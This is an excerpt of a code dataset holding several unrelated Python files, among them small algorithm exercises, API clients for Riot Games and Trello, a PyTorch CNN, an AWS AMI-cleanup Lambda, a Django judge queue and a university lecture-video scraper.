lib.interface import *\nfrom time import sleep\n\ntitulo('Validando Documentos.')\nwhile True:\n subtitulo('MENU PRINCIPAL')\n print(''' 1 . CPF\n 2 . CNPJ\n 3 . IDENTIDADE\n 4 . SAIR DO SISTEMA''')\n linha()\n opc = linteiro('Sua opção: ')\n\n if opc == 1:\n subtitulo('CPF', 32)\n validacpf(input('Informe o CPF: '))\n elif opc == 2:\n subtitulo('CNPJ')\n elif opc == 3:\n subtitulo('IDENTIDADE')\n elif opc == 4:\n print()\n break\n else:\n print('\\033[31mOpção Inválida!\\033[m', end='')\n sleep(1)\n\ntitulo('Obrigado por utilizar nosso sistema.')\nresp('@ebony_prog', 35)\n","sub_path":"validador/lib/sistema.py","file_name":"sistema.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"574131873","text":"import os\nimport shlex\nimport subprocess\nimport json\nimport ast\nimport geograpy\nfrom geograpy import extraction\nfrom geopy.geocoders import Nominatim\n\nimport tika\nfrom tika import parser\n\nfiles_dir = 'static/uploaded_files'\ntika_path = \"/Users/MBoustani/Downloads/tika/tika-app/target/tika-app-1.10-SNAPSHOT.jar\"\n\n#to_geot_server = \"http://localhost:9997/\" #java -classpath /Users/MBoustani/Downloads/tika/tika-server/target/tika-server-1.10-SNAPSHOT.jar org.apache.tika.server.TikaServerCli --port 9997\n\ngeolocator = Nominatim()\n\n\ndef file_to_text(f):\n parsed = parser.from_file(f)\n #cmd = 'curl -T {0}/{1} -H \"Content-Disposition: attachment; filename={1}\" {2}rmeta'.format(files_dir, f, to_lat_lon_server)\n #return subprocess.check_output(cmd, shell=True)\n return parsed[\"content\"]\n\n\ndef extract_loc_name(t):\n e = extraction.Extractor(text=t)\n e.find_entities()\n return e.places\n\n\ndef loc_name_lat_lon(loc_names):\n points = []\n for loc in loc_names:\n try:\n location = geolocator.geocode(loc)\n points.append([location.latitude, location.longitude,loc])\n except:\n pass\n return points\n\n\ndef create_json(points):\n json = '{\"type\": \"FeatureCollection\", \"features\": ['\n for point in points:\n json += \"\"\"{\"geometry\": {\"type\": \"Point\",\"coordinates\": [%s,%s]},\"type\": \"Feature\",\"properties\": {\"location\": \"%s\"}},\"\"\" % (point[1],point[0], point[2])\n if json[-1]==\",\":\n json = json[:-1]\n json += ']}'\n return json\n\n\n# def location_names(json_files):\n# loc_names = {}\n# for json_file in json_files:\n# with open(json_file, 'r') as f:\n# json_obj = list(f.readlines())\n# for each in json_obj:\n# features = ast.literal_eval(each)['features']\n# for feature in features:\n# print feature['properties']['location']","sub_path":"geo_tika.py","file_name":"geo_tika.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"351749616","text":"py_arr = [3,61,4124,43,2312,33,2,14,5,6]\n\n#easier implementation with python built-in function\ndef linersearch_ezmode(data ,x):\n\n x = x\n data = data\n\n found = False\n\n for item in x:\n if data == item:\n found = True\n break\n if found:\n print(\"It exists\")\n else:\n print(\"It doesn't exist\")\n\n#normal implementation\ndef linersearch(data, x):\n\n x = x\n data = data\n\n found = False\n\n i = 0\n\n while i < len(x):\n if data == x[i]:\n found = True\n break\n else:\n i += 1\n\n if found:\n print(\"It exists\")\n else:\n print(\"It doesn't exist\")\n\n\nlinersearch_ezmode(6,py_arr)\n\nlinersearch(3,py_arr)\n\n\n","sub_path":"Search Algo/linearsearch.py","file_name":"linearsearch.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"565293200","text":"class Node:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n\nclass BinarySearchTree:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n def insert(self, value):\n node = Node(value)\n current = self\n\n while current:\n # Traverse right\n if current.value < node.value:\n if current.right:\n current = current.right\n else:\n break\n # Traverse left\n else:\n if current.left:\n current = current.left\n else:\n break\n\n if current.value < node.value:\n current.right = node\n else:\n current.left = node\n\n def contains(self, target):\n current = self\n\n while current:\n if current.value == target:\n return True\n\n if current.value < target:\n current = current.right\n else:\n current = current.left\n\n return False\n\n def get_max(self):\n current = self\n\n while current:\n if current.right:\n current = current.right\n else:\n break\n\n return current.value\n\n def for_each(self, cb):\n\n def traverse(self, cb):\n if not self:\n return\n\n left = self.left\n right = self.right\n\n traverse(left, cb)\n cb(self.value)\n traverse(right, cb)\n\n return traverse(self, cb)\n","sub_path":"names/binary_search_tree.py","file_name":"binary_search_tree.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"439497447","text":"from room import Room\nfrom player import Player\nfrom item import Item\nimport os\n\n# Declare all the items\n#for now itemId will be it's index in this list\nitems = [\n Item(0, \"a rusty sword\", \"better than a stick...\"),\n Item(1, \"a damaged buckler\", \"not sure how many hits this can take...\"),\n Item(2, \"a bronze key\", \"what door does this go to?\"),\n Item(3, \"a blue ribbon\", \"it looks fancy...\"),\n Item(4, \"a radian diamond\", \"you could probably sell this for a lot...\"),\n Item(5, \"a curious doll\", \"it looks spooky...\")\n]\n\n# Declare all the rooms\nroom = {\n 'outside': Room(\"Outside Cave Entrance\",\n \"North of you, the cave mount beckons\",\n [items[5]]),\n\n 'foyer': Room(\"Foyer\", \n \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\",\n []),\n\n 'overlook': Room(\"Grand Overlook\", \n \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\",\n [items[4]]),\n\n 'narrow': Room(\"Narrow Passage\", \n \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\",\n [items[3]]),\n\n 'treasure': Room(\"Treasure Chamber\", \n \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\",\n []),\n}\n\n\n# Link rooms together\nroom['outside'].n_to = room['foyer']\nroom['foyer'].s_to = room['outside']\nroom['foyer'].n_to = room['overlook']\nroom['foyer'].e_to = room['narrow']\nroom['overlook'].s_to = room['foyer']\nroom['narrow'].w_to = room['foyer']\nroom['narrow'].n_to = room['treasure']\nroom['treasure'].s_to = room['narrow']\n\n#\n# Main\n#\n\n\n# Make a new player object that is currently in the 'outside' room.\n# \n# New game:\nos.system(\"clear\")\nname = input(\"Welcome, what is your name new player: \")\nstats = {\"agi\": 5, \"str\": 5, \"int\": 5, \"vit\": 5, \"dex\": 5, \"pie\": 5}\ninventory = [items[0], items[1]]\nplayer = Player(name, \"fighter\", \"elf\", stats, inventory, room['outside'])\n# Write a loop that:\n#\n# * Prints the current room name\n# * Prints the current description (the textwrap module might be useful here).\n# * Waits for user input and decides what to do.\n#\n# If the user enters a cardinal direction, attempt to move to the room there.\n# Print an error message if the movement isn't allowed.\n#\n# If the user enters \"q\", quit the game.\n\ndef convertCmdtoDir(cmd):\n if cmd == 'n':\n return 'north'\n if cmd == 's':\n return 'south'\n if cmd == 'e':\n return 'east'\n if cmd == 'w':\n return 'west'\n\nhelpFlag = False\ninventoryFlag = False\ncurrentRoomShortName = 'outside'\nwhile True:\n os.system(\"clear\")\n\n if helpFlag == False:\n print('(enter \"h\" for help)')\n else:\n print('Help:\\nn: move north\\ne: move east\\ns: move south\\nw: move west\\ni: toggle player inventory\\nq: quit\\nh: toggle help')\n \n print(player.currentRoom())\n if len(player.Room.inventory) > 0:\n print('Nearby you see:')\n for item in player.Room.inventory:\n print(item)\n print('\\n')\n\n if inventoryFlag == True:\n print('Player Inventory: (toggle \"i\")')\n for item in player.inventory:\n print(item)\n print('\\n')\n\n print('------------------------------------------')\n cmd = input(\"Type your command: \")\n\n if cmd == \"q\":\n print(\"Goodbye!\")\n break\n\n if cmd == \"h\":\n helpFlag = not helpFlag\n\n if cmd == \"i\":\n inventoryFlag = not inventoryFlag\n\n if cmd == \"n\" or cmd == \"s\" or cmd == \"e\" or cmd == \"w\":\n direction = convertCmdtoDir(cmd)\n if getattr(player.Room, cmd+'_to') is None:\n print(\"*can't move\" + direction + \"*\")\n input(\"press enter to continue\")\n else:\n player.Room = getattr(player.Room, cmd+'_to')\n\n if 'take' in cmd.lower() or 'get' in cmd.lower():\n print(cmd[len(cmd)-1])\n itemId = int(cmd[len(cmd)-1])\n if player.Room.removeItem(items[itemId]) is True:\n player.addItem(items[itemId])\n\n if 'drop' in cmd.lower():\n print(cmd[len(cmd)-1])\n itemId = int(cmd[len(cmd)-1])\n if player.removeItem(items[itemId]) is True:\n player.Room.addItem(items[itemId])\n\n else:\n print(\"*not a command*\")\n","sub_path":"src/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":4336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"188204522","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.4 (3310)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.10-x86_64/egg/dhcpkit_vpp/protocols/utils.py\n# Compiled at: 2017-06-08 10:01:53\n# Size of source mod 2**32: 484 bytes\nfrom typing import Union\n\ndef ones_complement_checksum(msg: Union[(bytes, bytearray)]):\n \"\"\"\n Calculate the 16-bit one's complement of the one's complement sum of a message.\n\n :param msg: The message\n :return: The checksum\n \"\"\"\n checksum = 0\n for i in range(0, len(msg), 2):\n current_word = (msg[i] << 8) + msg[(i + 1)]\n c = checksum + current_word\n checksum = (c & 65535) + (c >> 16)\n\n return ~checksum & 65535","sub_path":"pycfiles/dhcpkit_vpp-1.0.1-py3.4/utils.cpython-34.py","file_name":"utils.cpython-34.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"349469568","text":"import requests\nimport champion_map\nimport urllib.parse\nimport pprint\n\npp = pprint.PrettyPrinter(indent=4)\n\ndef get_summoner(summoner_name : str, api_key : str):\n try:\n summoner_name = urllib.parse.quote(summoner_name)\n print(summoner_name)\n request = requests.get(f'https://na1.api.riotgames.com/lol/summoner/v4/summoners/by-name/{summoner_name}?api_key={api_key}')\n data = request.json()\n\n user_data = {\n 'account_id' : data['accountId'],\n 'summoner_id' : data['id'],\n 'puuid' : data['puuid'],\n 'name' : data['name'],\n 'level' : data['summonerLevel']\n }\n\n print(\"******User Data******\")\n pp.pprint(data)\n print(user_data)\n\n return user_data\n \n except Exception as error:\n print(f'Failed in RiotAPI(get_summoner): {error}')\n\ndef get_ranked(summoner_id : str, api_key : str):\n try:\n request = requests.get(f'https://na1.api.riotgames.com/lol/league/v4/entries/by-summoner/{summoner_id}?api_key={api_key}')\n data = request.json()\n\n ranked_data = {}\n\n for rank in data:\n if rank['queueType'] == 'RANKED_SOLO_5x5':\n ranked_data['tier'] = rank['tier']\n ranked_data['rank'] = rank['rank']\n ranked_data['lp'] = rank['leaguePoints']\n \n print(\"******Ranked Data******\")\n pp.pprint(data)\n print(ranked_data)\n\n return ranked_data\n\n except Exception as error:\n print(f'Failed in RiotAPI(get_ranked): {error}')\n\ndef get_mastery(summoner_id : str, api_key : str, count : int):\n try:\n request = requests.get(f'https://na1.api.riotgames.com/lol/champion-mastery/v4/champion-masteries/by-summoner/{summoner_id}?api_key={api_key}')\n data = request.json()\n top_three = data[0:count]\n\n mastery = []\n\n mastery_score = requests.get(f'https://na1.api.riotgames.com/lol/champion-mastery/v4/scores/by-summoner/{summoner_id}?api_key={api_key}').json()\n mastery.append(str(mastery_score))\n\n for champion in top_three:\n champ_dict = {\n 'Champion Name' : champion_map.get_champion_name(champion['championId']),\n 'Points' : champion['championPoints'],\n 'Mastery Level' : champion['championLevel']\n }\n mastery.append(champ_dict)\n \n return mastery\n \n except Exception as error:\n print(f'Failed in RiotAPI(get_mastery): {error}')","sub_path":"riot_api.py","file_name":"riot_api.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"191067991","text":"\"\"\"\nCode based loosely on implementation:\nhttps://github.com/openai/baselines/blob/master/baselines/ppo2/policies.py\n\nUnder MIT license.\n\"\"\"\nimport numpy as np\n\nimport torch.nn as nn\nimport torch.nn.init as init\nimport torch.nn.functional as F\n\nimport vel.util.network as net_util\n\nfrom vel.api import LinearBackboneModel, ModelFactory\n\n\nclass NatureCnn(LinearBackboneModel):\n \"\"\" Neural network as defined in the paper 'Human-level control through deep reinforcement learning' \"\"\"\n def __init__(self, input_width, input_height, input_channels, output_dim=512):\n super().__init__()\n\n self._output_dim = output_dim\n\n self.conv1 = nn.Conv2d(\n in_channels=input_channels,\n out_channels=32,\n kernel_size=(8, 8),\n stride=4\n )\n\n self.conv2 = nn.Conv2d(\n in_channels=32,\n out_channels=64,\n kernel_size=(4, 4),\n stride=2\n )\n\n self.conv3 = nn.Conv2d(\n in_channels=64,\n out_channels=64,\n kernel_size=(3, 3),\n stride=1\n )\n\n layer_series = [\n (8, 0, 4),\n (4, 0, 2),\n (3, 0, 1)\n ]\n\n self.final_width = net_util.convolutional_layer_series(input_width, layer_series)\n self.final_height = net_util.convolutional_layer_series(input_height, layer_series)\n\n self.linear_layer = nn.Linear(\n self.final_width * self.final_height * 64, # 64 is the number of channels of the last conv layer\n self.output_dim\n )\n\n @property\n def output_dim(self) -> int:\n \"\"\" Final dimension of model output \"\"\"\n return self._output_dim\n\n def reset_weights(self):\n \"\"\" Call proper initializers for the weights \"\"\"\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n # init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n init.orthogonal_(m.weight, gain=np.sqrt(2))\n init.constant_(m.bias, 0.0)\n elif isinstance(m, nn.Linear):\n # init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n init.orthogonal_(m.weight, gain=np.sqrt(2))\n init.constant_(m.bias, 0.0)\n\n def forward(self, image):\n result = image\n result = F.relu(self.conv1(result))\n result = F.relu(self.conv2(result))\n result = F.relu(self.conv3(result))\n flattened = result.view(result.size(0), -1)\n return F.relu(self.linear_layer(flattened))\n\n\ndef create(input_width, input_height, input_channels=1, output_dim=512):\n \"\"\" Vel factory function \"\"\"\n def instantiate(**_):\n return NatureCnn(\n input_width=input_width, input_height=input_height, input_channels=input_channels,\n output_dim=output_dim\n )\n\n return ModelFactory.generic(instantiate)\n\n\n# Scripting interface\nNatureCnnFactory = create\n","sub_path":"vel/rl/models/backbone/nature_cnn.py","file_name":"nature_cnn.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"14807361","text":"import re\nfrom datetime import datetime, timedelta\n\nimport boto3\n\n\ndef lambda_handler(event, context):\n ec2_images = get_ec2_images(event)\n\n protected_ami_ids = get_protected_ami_ids(ec2_images)\n\n for image in filter(lambda i: i.image_id not in protected_ami_ids, ec2_images):\n print(f'Deregistering {image.name} ({image.id})')\n if event['DryRun'] != 'true':\n image.deregister()\n\n remove_unattached_snapshots(event, '.*from SourceAmi (ami-.*) from.*')\n\n\ndef get_ec2_images(event):\n ec2 = boto3.client('ec2')\n\n if 'ImageNameFilter' in event:\n return ec2.images.filter(Owners=[\"self\"], Filters=[\n {\"Name\": \"name\", \"Values\": [event['ImageNameFilter']]}\n ])\n else:\n return ec2.images.filter(Owners=[\"self\"])\n\n\ndef get_protected_ami_ids(ec2_images):\n ec2 = boto3.client('ec2')\n\n images_in_use = { instance.image_id for instance in ec2.instances.all()}\n\n young_images = set()\n for image in ec2_images:\n created_at = datetime.strptime(image.creation_date, \"%Y-%m-%dT%H:%M:%S.000Z\")\n if created_at > datetime.now() - timedelta(90):\n young_images.add(image.id)\n\n latest_dict = dict()\n for image in ec2_images:\n split = image.name.split('-')\n try:\n timestamp = int(split[-1])\n except ValueError:\n continue\n name = '-'.join(split[:-1])\n\n if (name not in latest_dict or timestamp > latest_dict[name][0]):\n latest_dict[name] = (timestamp, image)\n\n latest_images = {image.id for (_, image) in latest_dict.values()}\n\n return images_in_use | young_images | latest_images\n\n\ndef remove_unattached_snapshots(event, description_filter):\n ec2 = boto3.client('ec2')\n\n all_images = [image.id for image in ec2.images.all()]\n for snapshot in ec2.snapshots.filter(OwnerIds=[\"self\"]):\n print(f'Checking snapshot {snapshot.id}')\n match = re.match(rf\"{description_filter}\", snapshot.description)\n if match and match.groups()[0] not in all_images:\n print(f'Deleting snapshot {snapshot.id}')\n if event['DryRun'] != 'true':\n snapshot.delete()\n","sub_path":"blueprints/aws/ec2/cleanup/lambda/Ec2CleanupAMIs.py","file_name":"Ec2CleanupAMIs.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"59658275","text":"#!/usr/bin/env python\n# coding=utf-8\n#\n# Author: Lucas\n# Date: 2019-07-13 18:44:18\n\n\nclass Solution:\n def findMaximumXOR(self, nums: List[int]) -> int:\n ans = 0\n mask = 0\n\n for i in range(31, -1, -1):\n mask = mask | (1 << i)\n visited = set()\n for num in nums:\n visited.add(num & mask)\n\n tmp = ans | (1 << i)\n for prefix in visited:\n if prefix ^ tmp in visited:\n ans = tmp\n break\n return ans\n","sub_path":"401-500/421_MaximumXOROfTwoNumbersInAArray/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"97249150","text":"\n\"\"\"\nReverse words in a given string\n\nExample: Let the input string be “i like this program very much”.\nThe function should change the string to “much very program this like i”\n\n\"\"\"\n\ndef reverse_words(string):\n words_list = string.split(' ')\n words_list.reverse()\n return ' '.join(words_list)\n\nif __name__=='__main__':\n string = ' i like this program very much '\n print(reverse_words(string))\n\n\n\n\n","sub_path":"GeeksForGeeks/Strings/ReverseWords.py","file_name":"ReverseWords.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"350640755","text":"import requests\nfrom Keys import TrelloApiKey, TrelloServerToken\nimport ApiAccess as api\n\n\nclass Item:\n\n def __init__(self):\n self.name = ''\n self.id = ''\n self.status = ''\n\n def get_name(self):\n return self.name\n\n def get_status(self):\n return self.status\n\n def get_id(self):\n return self.id\n\n \"\"\"\n Returns dictionary of attributes\n \"\"\"\n\n def GetItemAttributes(self):\n itemAttributes = {'name': self.name,\n 'id': self.id, 'status': self.status}\n return itemAttributes\n\n \"\"\"\n Creates new Trello item and adds it to the attributes\n \"\"\"\n\n def CreateItemInTrello(self, ListID, CardName):\n apiValue = api.CARDSURL\n payload = {'key': TrelloApiKey,\n 'token': TrelloServerToken, 'idList': ListID, 'name': CardName}\n jsondata = requests.post(apiValue, params=payload).json()\n self.name = jsondata['name']\n self.id = jsondata['id']\n self.status = jsondata['idList']\n\n \"\"\"\n Extracts a card from Trello based on its ID and adds the attributes \n to the Item object\n \"\"\"\n\n def LoadItemFromTrello(self, CardID):\n apiValue = api.CARDSURL + CardID + '/'\n payload = {'key': TrelloApiKey,\n 'token': TrelloServerToken}\n jsondata = requests.get(apiValue, params=payload).json()\n self.name = jsondata['name']\n self.id = jsondata['id']\n self.status = jsondata['idList']\n\n \"\"\"\n Returns the status of the item based on the list it is stored in\n \"\"\"\n\n def GetItemStatusName(self, StatusID):\n apiValue = api.LISTURL + StatusID\n payload = {'key': TrelloApiKey,\n 'token': TrelloServerToken}\n jsondata = requests.get(apiValue, params=payload).json()\n return jsondata['name']\n\n \"\"\"\n Moves item to new list\n \"\"\"\n\n def ChangeItemList(self, NewListID):\n apiValue = api.CARDSURL + self.id\n payload = {'key': TrelloApiKey,\n 'token': TrelloServerToken, 'idList': NewListID}\n jsondata = requests.put(apiValue, params=payload).json()\n self.status = jsondata['idList']\n\n \"\"\"\n Updates the item name\n \"\"\"\n\n def UpdateName(self, ItemID, NewName):\n apiValue = api.CARDSURL + ItemID\n payload = {'key': TrelloApiKey,\n 'token': TrelloServerToken, 'name': NewName}\n jsondata = requests.put(apiValue, params=payload).json()\n self.name = jsondata['name']\n","sub_path":"Item.py","file_name":"Item.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"154861313","text":"from collections import defaultdict\nclass Solution:\n # hash表\n def majorityElement_1(self, nums) -> int:\n frequency = defaultdict(lambda :0)\n for i in nums:\n if frequency[i]:\n frequency[i] += 1\n else:\n frequency[i] = 1\n for j in frequency:\n if frequency[j] > len(nums)/2 :\n return j\n\n # 排序后的中位数\n def majorityElement_2(self, nums) -> int:\n nums.sort()\n return nums[len(nums)//2]\n\n # 摩尔投票法\n def majorityElement(self, nums) -> int:\n count, candidate = 0, -1\n for i in nums:\n if count == 0:\n candidate = i\n count += 1 if i == candidate else -1\n return candidate\n\nif __name__ == '__main__':\n print(Solution().majorityElement([3,2,2,2,3]))\n","sub_path":"python code/题库/169. 多数元素.py","file_name":"169. 多数元素.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"349157703","text":"# coding=utf-8\nimport logging\n\nimport redis\n\nfrom django.db import transaction\n\nfrom judge.judger_controller.settings import redis_config\nfrom judge.judger.result import result\nfrom submission.models import Submission\nfrom problem.models import Problem\nfrom utils.cache import get_cache_redis\nfrom contest.models import ContestProblem, Contest, CONTEST_UNDERWAY, ContestRank\nfrom account.models import User\n\nlogger = logging.getLogger(\"app_info\")\n\n\nclass MessageQueue(object):\n def __init__(self):\n self.conn = redis.StrictRedis(host=redis_config[\"host\"], port=redis_config[\"port\"], db=redis_config[\"db\"])\n self.queue = 'queue'\n\n def listen_task(self):\n while True:\n submission_id = self.conn.blpop(self.queue, 0)[1]\n logger.debug(\"receive submission_id: \" + submission_id)\n\n try:\n submission = Submission.objects.get(id=submission_id)\n except Submission.DoesNotExist:\n logger.warning(\"Submission does not exist, submission_id: \" + submission_id)\n continue\n\n # 更新该用户的解题状态用\n try:\n user = User.objects.get(pk=submission.user_id)\n except User.DoesNotExist:\n logger.warning(\"Submission user does not exist, submission_id: \" + submission_id)\n continue\n\n if not submission.contest_id:\n try:\n problem = Problem.objects.get(id=submission.problem_id)\n except Problem.DoesNotExist:\n logger.warning(\"Submission problem does not exist, submission_id: \" + submission_id)\n continue\n\n problems_status = user.problems_status\n\n # 更新普通题目的计数器\n problem.add_submission_number()\n if \"problems\" not in problems_status:\n problems_status[\"problems\"] = {}\n if submission.result == result[\"accepted\"]:\n problem.add_ac_number()\n problems_status[\"problems\"][str(problem.id)] = 1\n else:\n problems_status[\"problems\"][str(problem.id)] = 2\n user.problems_status = problems_status\n user.save()\n # 普通题目的话，到这里就结束了\n continue\n\n # 能运行到这里的都是比赛题目\n try:\n contest = Contest.objects.get(id=submission.contest_id)\n if contest.status != CONTEST_UNDERWAY:\n logger.info(\"Contest debug mode, id: \" + str(contest.id) + \", submission id: \" + submission_id)\n continue\n contest_problem = ContestProblem.objects.get(contest=contest, id=submission.problem_id)\n except Contest.DoesNotExist:\n logger.warning(\"Submission contest does not exist, submission_id: \" + submission_id)\n continue\n except ContestProblem.DoesNotExist:\n logger.warning(\"Submission problem does not exist, submission_id: \" + submission_id)\n continue\n\n # 如果比赛现在不是封榜状态，删除比赛的排名缓存\n if contest.real_time_rank:\n get_cache_redis().delete(str(contest.id) + \"_rank_cache\")\n\n with transaction.atomic():\n try:\n contest_rank = ContestRank.objects.get(contest=contest, user=user)\n contest_rank.update_rank(submission)\n except ContestRank.DoesNotExist:\n ContestRank.objects.create(contest=contest, user=user).update_rank(submission)\n\n problems_status = user.problems_status\n\n contest_problem.add_submission_number()\n if \"contest_problems\" not in problems_status:\n problems_status[\"contest_problems\"] = {}\n if submission.result == result[\"accepted\"]:\n contest_problem.add_ac_number()\n problems_status[\"contest_problems\"][str(contest_problem.id)] = 1\n else:\n problems_status[\"contest_problems\"][str(contest_problem.id)] = 0\n user.problems_status = problems_status\n user.save()\n\nlogger.debug(\"Start message queue\")\nMessageQueue().listen_task()\n","sub_path":"mq/scripts/mq.py","file_name":"mq.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"440452376","text":"import re\nimport demjson\nimport unicodedata\n\n\ndef get_text_from_html(string):\n '''\n Converts HTML to plain text with some regex magic.\n '''\n return re.sub(r'<(.*?)>', '', string)\n\n\ndef convert_to_string(uni):\n '''\n Converts unicode to plain text\n '''\n return unicodedata.normalize('NFKD', uni).encode('ascii', 'ignore')\n\n\ndef cleanup_price(cost_price):\n '''\n Takes price in dollars and returns price with margins in rupees \n '''\n if '-' in cost_price:\n cost_price = cost_price.split('-')[1] \n\n cost_price = float(cost_price) * 68\n CC_Avenue = 3/100\n VAT = 14.5/100\n international_shipping = 1500\n customs = (cost_price*30/100 + international_shipping)*30/100\n delivery = 300\n\n for selling_price in range(int(cost_price), 25000): \n deductions = (selling_price*VAT) + (selling_price*3/100)+ delivery + customs + international_shipping \n net_profit = (selling_price - cost_price - deductions)/selling_price*100\n if net_profit>15:\n\n return selling_price\n break\n\n\n\ndef generate_category(cat_breadcrumbs, cat_active):\n '''\n Takes breadcrumbs list and active product and generates a / separated category\n '''\n\n category = ''\n for item in cat_breadcrumbs:\n category += '%s/' % convert_to_string(item).strip()\n\n for item in cat_active:\n category += '%s' % convert_to_string(item).strip()\n\n return category\n\n\ndef get_variants_from_script(script):\n '''\n Takes script and extracts variants from it and\n sends back as variant dicts.\n '''\n script = convert_to_string(script)\n script = get_text_from_html(script)\n script = script.replace('var spConfig = new Product.Config(', '')\n script = script.replace(');', '')\n script = script.strip()\n return demjson.decode(script)\n\n\ndef get_clean_id(id):\n id = convert_to_string(id)\n return id + 'ADVNTURAXIS'\n\n","sub_path":"amazon/amazon/helpers/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"326754965","text":"\"\"\"This script finds all standard semester units and lecture videos in a given\n timeframe, is able to place lecture videos into individual unit html files\n following a given template, and generate a html file containing a list of\n all units that were found.\n\"\"\"\nimport urllib.request\nimport xml.etree.ElementTree as ET\nfrom datetime import datetime, timedelta\nimport re\nimport os.path\n#pip3 install tqdm\nfrom tqdm import tqdm\n#pip3 install requests && pip3 install python-firebase\nfrom firebase import firebase\n#Firebase auth infor is in a sperate .gitignored files\nfrom auth import auth\n\n#URL to UWA's echo lecture repository\nBASE_URL = 'http://media.lcs.uwa.edu.au/echocontent/'\n#Firebase JSON database\nFB = firebase.FirebaseApplication('https://uwalcs.firebaseio.com/')\nFB.authentication = auth\n\ndef get_hashes_from_dir(url):\n \"\"\"Fetches all links in a directory that are in the correct unit hash format\n \"\"\"\n response = urllib.request.urlopen(url)\n data = response.read()\n page_text = data.decode('utf-8')\n\n #A Very naive way to select the correct links, regex would be more robust.\n links = page_text.split(\" datetime.now().year):\n raise ValueError(\"Year argument out of range (valid:15-\"+\n str(datetime.now().year)[-2:])\n if week and (week < 1 or week > 53):\n raise ValueError(\"Week argument out of range (valid:1-53\")\n if day and (day < 1 or day > 7):\n raise ValueError(\"Day argument out of range (valid:1-7)\")\n\nclass UnitXML:\n \"\"\"Class for holding the section.xml file and related info for a given unit\n\n Attributes:\n url (str): URL for the unit's section.xml file\n tree (ET.Element): XML tree of unit's section.xml file\n \"\"\"\n\n sectionsURL = BASE_URL+'sections/'\n fileName = '/section.xml'\n\n def __init__(self, unitHash):\n self.url = self.sectionsURL+unitHash+self.fileName\n data = urllib.request.urlopen(self.url)\n data = data.read()\n self.tree = ET.fromstring(data)\n\n def get_year(self):\n year = self.tree.find('term').find('name')\n return year.text[2:]\n\n def get_sem(self):\n longName = self.tree.find('name')\n #Attempt to split the name at \"Standard semester \"\n semester = longName.text.split(sep='Standard semester ')\n if len(semester) == 1:\n #String does not contain \"Standard semester \"\n return None\n return semester[1][0]\n\n def get_unit_code(self):\n unitCode = self.tree.find('course').find('identifier')\n return unitCode.text\n\n def get_unit_url(self):\n unitURL = self.tree.find('portal').find('url')\n return unitURL.text\n\nclass LectureXML:\n \"\"\" class for holding the presentation.xml and\n related info for a given lecture\n\n Attributes:\n url (str): URL for the lecture's directory\n tree (ET.Element): XML tree of lecture's presentation.xml\n \"\"\"\n\n fileName = 'presentation.xml'\n\n def __init__(self, year, week, day, lectureHash):\n \"\"\" Initialises lectureXML class by fetching presentation.xml from\n BASE_URL/year+week/dday/lectureHash'\n\n Parameters:\n year (int): Two digit year abbreviation,\n valid range: 15 to current year\n week (int): ISO week number, valid range: 1 to 53\n day (int): ISO weekda, valid range: 1 (Monday) to 7(Sunday)\n lectureHash (str): Name of lecture's parent directory\n (e.g. 01234567-89ab-cdef-0123-456789abcdef)\n\n Raises:\n ValueError: If input arguments are outside of the allowed ranges\n \"\"\"\n check_year_week_day(year, week, day)\n\n dirPath = str(year) + str(week) +'/'+ str(day) +'/'+ lectureHash +'/'\n self.url = BASE_URL + dirPath\n data = urllib.request.urlopen(self.url+'presentation.xml')\n data = data.read()\n self.tree = ET.fromstring(data)\n\n def get_lecture_unit(self):\n unitName = self.tree.find('presentation-properties').find('name')\n unitCode = unitName.text[0:8]\n return unitCode\n\n def get_lecture_video_url(self):\n return self.url + 